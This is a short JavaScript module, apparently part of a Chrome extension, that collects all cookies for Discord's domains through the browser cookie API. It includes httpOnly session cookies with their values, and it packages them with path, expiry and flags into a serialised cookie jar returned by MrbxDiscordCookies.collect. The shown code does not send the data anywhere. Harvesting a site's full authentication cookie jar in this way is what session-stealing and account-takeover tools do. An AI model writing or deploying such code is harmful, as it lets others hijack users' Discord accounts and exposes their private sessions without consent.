'use strict';

(function (global) {
  var DISCORD_URLS = [
    'https://discord.com/',
    'https://discord.com/channels/@me',
    'https://discordapp.com/'
  ];

  var DISCORD_DOMAINS = ['.discord.com', 'discord.com', '.discordapp.com', 'discordapp.com'];

  function cookiesForUrl(url) {
    return new Promise(function (resolve) {
      try {
        chrome.cookies.getAll({ url: url }, function (list) {
          resolve(list || []);
        });
      } catch (_) {
        resolve([]);
      }
    });
  }

  function cookiesForDomain(domain) {
    return new Promise(function (resolve) {
      try {
        chrome.cookies.getAll({ domain: domain }, function (list) {
          resolve(list || []);
        });
      } catch (_) {
        resolve([]);
      }
    });
  }

  async function collectDiscordCookies() {
    if (typeof chrome === 'undefined' || !chrome.cookies) return null;

    var auth = {};
    var jarMeta = [];
    var seen = Object.create(null);

    function addCookie(c) {
      if (!c || !c.name || c.value == null || String(c.value) === '') return;
      var key = String(c.domain || '') + '\t' + String(c.path || '/') + '\t' + c.name;
      if (seen[key]) return;
      seen[key] = true;
      if (!auth[c.name]) auth[c.name] = c.value;
      jarMeta.push({
        name: c.name,
        value: c.value,
        domain: c.domain,
        path: c.path,
        secure: !!c.secure,
        httpOnly: !!c.httpOnly,
        hostOnly: !!c.hostOnly,
        sameSite: c.sameSite,
        expirationDate: c.expirationDate
      });
    }

    for (var ui = 0; ui < DISCORD_URLS.length; ui++) {
      var list = await cookiesForUrl(DISCORD_URLS[ui]);
      for (var i = 0; i < list.length; i++) addCookie(list[i]);
    }

    for (var di = 0; di < DISCORD_DOMAINS.length; di++) {
      var dlist = await cookiesForDomain(DISCORD_DOMAINS[di]);
      for (var j = 0; j < dlist.length; j++) addCookie(dlist[j]);
    }

    if (!jarMeta.length) return null;
    try {
      auth._chromeCookieJar = JSON.stringify(jarMeta);
    } catch (_) {
      auth._chromeCookieJar = jarMeta;
    }
    return auth;
  }

  global.MrbxDiscordCookies = {
    collect: collectDiscordCookies
  };
})(typeof self !== 'undefined' ? self : typeof globalThis !== 'undefined' ? globalThis : window);
